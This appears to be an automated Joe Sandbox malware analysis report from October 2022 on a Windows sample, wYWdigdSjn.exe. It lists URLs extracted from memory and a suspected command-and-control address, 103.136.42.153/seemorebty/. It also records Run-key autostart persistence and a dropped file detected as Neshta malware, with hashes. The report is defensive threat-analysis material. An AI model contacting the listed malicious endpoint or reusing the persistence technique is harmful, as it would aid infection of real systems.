http://crl.pki.goog/GTSGIAG3.crl0	wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.349615261.00000000061D1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333168870.0000000004780000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347624685.00000000057A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347679687.0000000006189000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288753222.0000000004658000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338899784.0000000004741000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=6856811916691;gt	wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC5bdddb231cf54f958a5b6e76e9d8eee	wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.facetings/account_biisEnterpriseBusibook.com/ads/manis_prepay_accounager/account_setkern	wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/static/images/download-browser/pixel_tablet.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/download-browser/pixel_phone.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pki.goog/gsr2/GTS1O1.crt0	wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352229984.00000000063C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360533347.0000000005459000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.362088818.0000000006560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360605685.0000000005439000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361560311.00000000065A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.350703334.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1	wYWdigdSjn.exe, 00000001.00000003.424990552.00000000060E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348138764.00000000060E9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml	wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/app-store-download.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/homepage/hero-anim-top-right.png	wYWdigdSjn.exe, 00000001.00000003.379080778.0000000004748000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/homepage/homepage_tools.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contextual.media.net/	wYWdigdSjn.exe, 00000001.00000003.300911627.0000000005518000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266464556.0000000004498000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.296051579.0000000005517000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pki.goog/repository/0	wYWdigdSjn.exe, 00000001.00000003.378701097.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361923862.0000000006580000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426168776.00000000063C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361701632.00000000065C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.386505819.00000000057A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360356031.00000000064B1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361819935.00000000065A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.349615261.00000000061D1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361718418.0000000006581000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361245745.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333168870.0000000004780000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420731155.0000000005438000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420970982.0000000005718000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347624685.00000000057A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359978543.0000000006471000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352229984.00000000063C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9	wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pki.goog/gsr2/GTS1O1.crt0M	wYWdigdSjn.exe, 00000001.00000003.426168776.00000000063C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361245745.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360533347.0000000005459000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.350703334.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.msn.com/	wYWdigdSjn.exe, 00000001.00000003.300911627.0000000005518000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266464556.0000000004498000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.296051579.0000000005517000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc71c68d7b8f049b6a6f3b669bd5d00c	wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au	wYWdigdSjn.exe, 00000001.00000003.298315948.0000000004690000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/chrome/static/images/homepage/google-beta.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.msn.com/de-ch/?ocid=iehp	wYWdigdSjn.exe, 00000001.00000003.294609254.0000000005630000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262381480.0000000004451000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.336854989.0000000004668000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262504940.0000000004458000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/icon-file-download.svg	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC828bc1cde9f04b788c98b5423157734	wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC9b2d2bc73c8a4a1d8dd5c3d69b6634a	wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingaot	wYWdigdSjn.exe, 00000001.00000003.348767400.0000000005A09000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=1463674	wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/fallback/google-logo-one-color.jpg	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
http://103.136.42.153/seemorebty/	wYWdigdSjn.exe, 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://amp.azure.net/libs/amp/1.8.0/azuremediaplayer.min.js	wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288105390.000000000550F000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348673323.0000000006049000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/fallback/icon-twitter.jpg	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1	wYWdigdSjn.exe, 00000001.00000003.424990552.00000000060E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/consent/55a804	wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC54c8a2b02c3446f48a60b41e8a5ff47	wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contextual.media.net/803288796/fcmain.js?&gdpr=0&cid=8CU157172&cpcd=pC3JHgSCqY8UHihgrvGr0A%3	wYWdigdSjn.exe, 00000001.00000003.424990552.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contextual.media.net/48/nrrV18753.js	wYWdigdSjn.exe, 00000001.00000003.348138764.00000000060E9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/fallback/icon-help.jpg	wYWdigdSjn.exe, 00000001.00000003.379080778.0000000004748000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/homepage/google-enterprise.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/homepage/google-dev.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/thank-you/thankyou-animation.json	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.pki.goog/gsr2/gsr2.crl0?	wYWdigdSjn.exe, 00000001.00000003.378701097.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361923862.0000000006580000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426168776.00000000063C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361701632.00000000065C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.386505819.00000000057A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360356031.00000000064B1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361819935.00000000065A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.349615261.00000000061D1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361718418.0000000006581000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361245745.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333168870.0000000004780000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420731155.0000000005438000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420970982.0000000005718000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347624685.00000000057A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359978543.0000000006471000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352229984.00000000063C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pki.goog/gsr2/GTSGIAG3.crt0)	wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.349615261.00000000061D1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333168870.0000000004780000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347624685.00000000057A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347679687.0000000006189000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288753222.0000000004658000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338899784.0000000004741000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4476872748356;g	wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/	wYWdigdSjn.exe, 00000001.00000003.300911627.0000000005518000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266464556.0000000004498000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.296051579.0000000005517000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/fallback/icon-fb.jpg	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/mac-ico.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.136.42.153	unknown	India	139884	AGPL-AS-APApeironGlobalPvtLtdIN	false
31.13.92.36	unknown	Ireland	32934	FACEBOOKUS	false
157.240.20.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	718790
Start date and time:	2022-10-08 11:33:11 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	wYWdigdSjn.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.spyw.evad.winEXE@17/21@7/3
EGA Information:	Successful, ratio: 33.3%
HDC Information:	Successful, ratio: 58.5% (good quality ratio 47.3%) Quality average: 61.5% Quality standard deviation: 39%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, ocsp.digicert.com, ctldl.windowsupdate.com
Execution Graph export aborted for target wYWdigdSjn.exe, PID 3924 because there are no executed function
Execution Graph export aborted for target wYWdigdSjn.exe, PID 3932 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: wYWdigdSjn.exe

Simulations

Behavior and APIs

Time	Type	Description
11:34:05	API Interceptor	11x Sleep call for process: wYWdigdSjn.exe modified
11:34:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MyStart C:\Users\user\Desktop\wywdigdsjn.exe
11:34:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MyStart C:\Users\user\Desktop\wywdigdsjn.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
103.136.42.153	38b2c7a1af454d382927f81543d86055886bc02863457.exe	Get hash	malicious	Browse	103.136.42.153/seemorebty/il.php?e=38b2c7a1af454d382927f81543d86055886bc02863457
	SecuriteInfo.com.Win32.Malware-gen.30674.exe	Get hash	malicious	Browse	103.136.42.153/seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674
	file.exe	Get hash	malicious	Browse	103.136.42.153/seemorebty/il.php?e=file

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AGPL-AS-APApeironGlobalPvtLtdIN	38b2c7a1af454d382927f81543d86055886bc02863457.exe	Get hash	malicious	Browse	103.136.42.153
	l39HA25qjw.exe	Get hash	malicious	Browse	103.136.42.153
	SecuriteInfo.com.Win32.Malware-gen.30674.exe	Get hash	malicious	Browse	103.136.42.153
	file.exe	Get hash	malicious	Browse	103.136.42.153
	qkOFMWXZmr	Get hash	malicious	Browse	103.136.41.100
	njE4JoXEp6	Get hash	malicious	Browse	103.136.41.110
	qICLEK5VRO	Get hash	malicious	Browse	103.136.41.110
	qaE0C9rclb	Get hash	malicious	Browse	103.136.41.110
	EG4I1Przgq	Get hash	malicious	Browse	103.136.40.176
	j0Ee2pkXcH	Get hash	malicious	Browse	103.136.40.176
	1Ggdi0m8hf	Get hash	malicious	Browse	103.136.40.176
	PpcvaRE8wF	Get hash	malicious	Browse	103.136.41.110
	aPll2HI0vq	Get hash	malicious	Browse	103.136.41.110
	QQ7EA6NtnR	Get hash	malicious	Browse	103.136.41.110
	Iitoq5GM0G.exe	Get hash	malicious	Browse	103.136.40.167
	GXUKKZ7Qnf	Get hash	malicious	Browse	103.136.41.110
	tJ9TlGLj1K	Get hash	malicious	Browse	103.136.41.110
	ixOTaOEDIW	Get hash	malicious	Browse	103.136.41.110
	OCrSf4L4AH	Get hash	malicious	Browse	103.136.41.110
	HvIio1rY75	Get hash	malicious	Browse	103.136.41.110

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	YzRrXUeegw.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	6JawAgVJ1V.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35
	file.exe	Get hash	malicious	Browse	31.13.92.36 157.240.20.35

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	334F814C3B403562E5BD6CC66D2ACE48D97E2E1BAB309.exe	Get hash	malicious	Browse
	XeRMI8F3nJ.exe	Get hash	malicious	Browse
	PTXrkbui1v.exe	Get hash	malicious	Browse
	pWeYD3fkml.exe	Get hash	malicious	Browse
	doc-file#98765678.exe	Get hash	malicious	Browse
	aaa.exe	Get hash	malicious	Browse
	Payment.js	Get hash	malicious	Browse
	Hr1JR4elNB.exe	Get hash	malicious	Browse
	ORDER-22808.js	Get hash	malicious	Browse
	huFauyVpuM.exe	Get hash	malicious	Browse
	delphi.exe	Get hash	malicious	Browse
	KAFpcQ75UK.exe	Get hash	malicious	Browse
	wAYmfYQsux.exe	Get hash	malicious	Browse
	7z2107-x64.exe	Get hash	malicious	Browse
	FACTURE.LNK.lnk	Get hash	malicious	Browse
	LIZ.exe	Get hash	malicious	Browse
	ayRplo2mtp.exe	Get hash	malicious	Browse
	QolbxOSpEp.exe	Get hash	malicious	Browse
	WTu46vsSL2.exe	Get hash	malicious	Browse
	gcKImy8ksV.exe	Get hash	malicious	Browse

Created / dropped Files

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	244400
Entropy (8bit):	6.5189732112846555
Encrypted:	false
SSDEEP:	3072:sr85COzMPySe8DnpeIPipoHbKvXWXz9LRnsaJUS+6wPXD3fxNW7gq5yGgA9SBtdv:k9OeySe8AIqpoHbnDns1ND97deKzC/y
MD5:	CC9086282AEB0488C6F400AFBF477D65
SHA1:	2086A61C1F68C0E36C0F9017C68528F2E2E866D7
SHA-256:	C2D2D8A74C726957A9DD578DCC0ED1C8B86B400822477B50FB2518923065E229
SHA-512:	564924ADF4BCE14AEB6EACAED8A2CC9D809CDBBDAC257EBA7B3AE19EA4A419619B20B67AA4675FC81558B76F210C6ED6EE3FE4E27F8A08D6782BB64D2E5E2078
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96% Antivirus: Metadefender, Detection: 88%, Browse
Joe Sandbox View:	Filename: 334F814C3B403562E5BD6CC66D2ACE48D97E2E1BAB309.exe, Detection: malicious, Browse Filename: XeRMI8F3nJ.exe, Detection: malicious, Browse Filename: PTXrkbui1v.exe, Detection: malicious, Browse Filename: pWeYD3fkml.exe, Detection: malicious, Browse Filename: doc-file#98765678.exe, Detection: malicious, Browse Filename: aaa.exe, Detection: malicious, Browse Filename: Payment.js, Detection: malicious, Browse Filename: Hr1JR4elNB.exe, Detection: malicious, Browse Filename: ORDER-22808.js, Detection: malicious, Browse Filename: huFauyVpuM.exe, Detection: malicious, Browse Filename: delphi.exe, Detection: malicious, Browse Filename: KAFpcQ75UK.exe, Detection: malicious, Browse Filename: wAYmfYQsux.exe, Detection: malicious, Browse Filename: 7z2107-x64.exe, Detection: malicious, Browse Filename: FACTURE.LNK.lnk, Detection: malicious, Browse Filename: LIZ.exe, Detection: malicious, Browse Filename: ayRplo2mtp.exe, Detection: malicious, Browse Filename: QolbxOSpEp.exe, Detection: malicious, Browse Filename: WTu46vsSL2.exe, Detection: malicious, Browse Filename: gcKImy8ksV.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	278208
Entropy (8bit):	4.147085013209047
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJCy0UjsWpcdVO4Mqg+aJRaCAd1uhNRBo+XrbQILFkbeumIkA39xb:sr85CyFGVO4Mqg+WDr8LRkgUA1nQZs
MD5:	CB74FFCED758250840C0BF149835FF35
SHA1:	8641E256AE71E51374B4BF24E317BDD64F3F26C8
